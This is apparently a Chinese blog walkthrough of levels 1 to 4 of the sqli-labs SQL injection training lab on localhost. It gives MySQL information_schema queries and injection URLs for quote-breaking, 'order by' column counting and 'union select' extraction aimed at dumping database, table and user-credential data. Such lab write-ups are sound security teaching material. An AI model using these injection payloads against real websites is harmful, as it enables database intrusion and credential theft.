zoukankan      html  css  js  c++  java
  • SQL注入--sqli-labs(1-4关)

    mysql的基本用法:

      查库:select schema_name from information_schema.schemata  等同于 show databases

      查表:select table_name from information_schema.tables where table_schema=''   等同于 show tables

      查列:select column_name from information_schema.columns where table_name=''  

      查字段:select id,username,password from security.users  查询出security中的users表中的id、username和password

      information_schema,系统数据库,包含所有数据库相关信息。

      information_schema.schemata中schema_name,字段为所有数据库名称。

      information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。

      information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table_name列也对应所有表名。

    知识点:

      在MySQL数据库中,单行注释有#和--。在URL中,如果在最后加上--,浏览器在发送请求时会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。

    第一关(Less-1):

      1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1,显示正常

      2.加个单引号,http://127.0.0.1/sqli-labs-master/Less-1/?id=1',提示语句出错

      3.输入注释符--+,http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--+,显示正常,可知是单引号字符型注入

      4.使用order by查列数,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+,显示正常

      输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+ ,显示没有4列,故有3列

      5.使用union参数进行联合查询注入,union前面的数据报错才能执行union后面的数据,因此将id=1改为id=-1开始进行注入

       如图所示,2,3为显示位,此时可在2或3的位置进行手注

      6.注当前数据库名,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union select 1,database(),3 --+

       7.注表名,

      8.注某张表的字段,以user表为例

       9.注字段的值,以user表中的username字段为例

    第二关(Less-2):

      1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1,显示正常

      2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1',发现报错,说明存在注入漏洞,错误原因存在单引号

      3.去掉单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+,显示正常

      4.输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+,显示Unknown column ‘4’,说明一共有三列

      5.使用联合查询语句,查看有哪几个数据可以回显,输入?id=-1 union select 1,2,3 --+,如图所示,可知回显位置为第二和第三位

      6.手动注入,爆出所有的数据库名

      7.爆出security中的所有表名

      8.爆出users表中的所有列名

       9.爆字段,爆出user表中username,password字段的所有列

    第三关(Less-3):

      1.输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1,显示正常

      2.加单引号,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1',存在注入漏洞,错误提示多余一个单引号

      3.再加上),输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+,显示正常

      4.查看有多少列,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 3 --+,显示正常,存在三列

      5.再输入 http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4 --+,提示没有四列,则只有三列

      6.使用联合查询语句,查询回显位置,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,3  --+,如图,回显位置为2,3

      7.手动注入,爆出所有数据库名

      8.爆出security库中的所有表名

      9.爆出users表中所有的列信息

      10.爆字段,爆出users表中username,password列的所有信息

    第四关(Less-4):

      1.根据提示输入id,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1,显示正常

      2.加单引号,进行报错测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1',没有显示任何的报错信息

      3.加双引号进行测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1",出现报错,显示多出一个双引号

      4.根据提示信息,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+,显示正常

      5.查询有多少列,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+,显示正常,说明有三列

      6.再次输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+,根据错误提示可知,不存在四列,故有三列

      7.联合查询,查询出回显位置,如图可知,回显位置为2,3

      8.爆出所有数据库名

      9.爆出security库中的所有表信息

      10.爆出users表中的所有列信息

      11.爆出users表中username,password列的所有信息

      

  • 相关阅读:
    shell脚本
    centos7.6通过单用户模式重置密码
    小端
    malloc函数
    float和double数据EEPROM存储
    分享一个的c++写的,模仿awk的框架类CAwkDoc
    简单自测项目pom配置,log4j配置
    idea 启动项目,maven打包错误整理
    docker,docker-compose常用命令及部署
    jrebel启动项目报Incompatible magic value 0 in class file错误
  • 原文地址:https://www.cnblogs.com/mxm0117/p/12241086.html
Copyright © 2011-2022 走看看